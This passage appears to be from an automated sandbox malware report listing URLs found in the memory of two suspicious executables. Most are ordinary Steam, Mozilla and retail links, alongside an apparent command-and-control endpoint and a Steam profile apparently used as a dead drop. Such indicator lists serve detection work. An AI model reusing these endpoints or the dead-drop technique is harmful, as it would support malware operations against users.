Source: 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901189210.0000000001137000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032933485.0000000001619000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: file.exe, 00000000.00000003.2142550438.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134448591.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142391592.0000000000A83000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134302834.0000000000A83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/=
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/icro
Source: 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F
Source: file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901189210.0000000001137000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 26e226f915.exe, 0000000B.00000002.2904278824.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/nnzF
Source: file.exe, 00000000.00000003.2142550438.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134448591.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142391592.0000000000A83000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134302834.0000000000A83000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000002.2904278824.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032933485.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: 26e226f915.exe, 0000000B.00000003.2901522746.0000000001152000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000002.2904685604.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901189210.0000000001150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900&&MR(
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: 26e226f915.exe, 0000000D.00000003.3032933485.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900_
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: file.exe, 00000000.00000003.2134302834.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142391592.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000002.2904278824.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: 26e226f915.exe, 0000000D.00000003.3032933485.0000000001605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/765611997243319003J
Source: file.exe, 00000000.00000003.2142391592.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142550438.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.stea
Source: 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: file.exe, 00000000.00000003.2134302834.0000000000AB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134302834.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134448591.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000002.2904278824.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: file.exe, 00000000.00000003.2134302834.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134448591.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000002.2904278824.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba2
Source: 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901189210.0000000001137000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: 26e226f915.exe, 0000000B.00000003.2901522746.0000000001152000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000002.2904685604.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901189210.0000000001150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://studennotediw.store/api
Source: file.exe, 00000000.00000003.2134302834.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142391592.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://studennotediw.store:443/api
Source: 26e226f915.exe, 0000000D.00000003.3032933485.0000000001605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://studennotediw.store:443/apiVJr
Source: firefox.exe, 0000001B.00000002.3306081297.0000017084541000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: 26e226f915.exe, 0000000D.00000003.3094784478.0000000006106000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3204452985.0000000005C85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpError
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3208884492.00000170837CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3217108520.00000170837CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingspromiseLangPacksUpdated
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3271364302.0000017080000000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesCaptiveProtalDetector
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3271364302.0000017080000000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationSetting
Source: 26e226f915.exe, 0000000D.00000003.3094784478.0000000006106000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3204452985.0000000005C85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001B.00000003.3221206285.000001708BF77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://watch.sling.com/
Source: firefox.exe, 0000001B.00000003.3221206285.000001708BF77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001B.00000003.3142865401.0000017084B64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3302672534.00000170841ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001B.00000003.3142865401.0000017084B64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/_validateBranches/schema
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: file.exe, 00000000.00000003.2183850637.000000000573A000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3109202383.0000000005E22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3217655123.0000000005972000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219276546.0000000005972000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219501177.0000000005975000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3088112226.000001708360F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3327365979.000001708527D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3082674705.0000017083400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3089312930.0000017083631000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3090212714.0000017083652000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B8F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3296245182.0000017083800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.3327365979.0000017085290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3292795200.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.co
Source: file.exe, 00000000.00000003.2142550438.0000000000AE9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142360796.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142391592.0000000000AE9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000162F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/acc
Source: file.exe, 00000000.00000003.2142550438.0000000000AE9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142391592.0000000000AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/accesp
